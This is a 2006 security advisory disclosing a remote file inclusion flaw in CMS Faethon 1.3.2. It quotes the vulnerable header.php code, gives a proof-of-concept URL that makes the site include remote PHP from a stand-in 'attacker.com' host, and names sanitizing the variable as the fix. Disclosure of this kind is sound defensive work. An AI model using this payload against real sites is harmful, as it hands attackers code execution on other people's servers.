____________________ ___ ___ ________ _ _____/_ ___ / | \_____ | __)_ / // ~ / | | \ ___ Y / | /_______ / ______ /___|_ /_______ / / / / / .OR.ID ECHO_ADV_33$2006 ------------------------------------------------------------------------ --- [ECHO_ADV_33$2006] CMS Faethon 1.3.2 mainpath Remote File Inclusion ------------------------------------------------------------------------ --- Author : M.Hasran Addahroni a.k.a K-159 Date : June, 16th 2006 Location : Indonesia, Bali Web : http://advisories.echo.or.id/adv/adv33-K-159-2006.txt Critical Lvl : Highly critical Impact : System access Where : From Remote ------------------------------------------------------------------------ --- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ CMS Faethon Application : CMS Faethon version : 1.3.2 URL : http://cmsfaethon.com/ Description : CMS Faethon is content management system for different web pages. ------------------------------------------------------------------------ --- Vulnerability: ~~~~~~~~~~~~~~~~ in folder data we found vulnerability script header.php. -----------------------header.php---------------------- .... <?php include($mainpath . 'survey.php'); ?> <h2>RSS - cmsfaethon.com</h2> <div class="rss-menu"> <?php $source = 'http://cmsfaethon.com/feed/articles/rss2.php?LangSet=cs'; include($mainpath . 'rss-reader.php'); ?> ... ---------------------------------------------------------- Variables $mainpath are not properly sanitized.When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script. Proof Of Concept: ~~~~~~~~~~~~~~~~~ http://target.com/[cms_faethon_path]/data/header.php?mainpath=http://att acker.com/evil.txt? Solution: ~~~~~~~~~ sanitize variabel $mainpath in header.php ------------------------------------------------------------------------ --- Shoutz: ~~~~~~~ ~ ping - my dearest wife, for all the luv the tears n the breath ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous,kaiten ~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,bayl aw ~ sinChan,x`shell,tety,sakitjiwa, m_beben, rizal, cR4SH3R, metalsploit ~ newbie_hacker (at) yahoogroups (dot) com [email concealed] ~ #aikmel #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~~~~~~ K-159 || echo|staff || eufrato[at]gmail[dot]com Homepage: http://k-159.echo.or.id/ -------------------------------- [ EOF ] ----------------------------------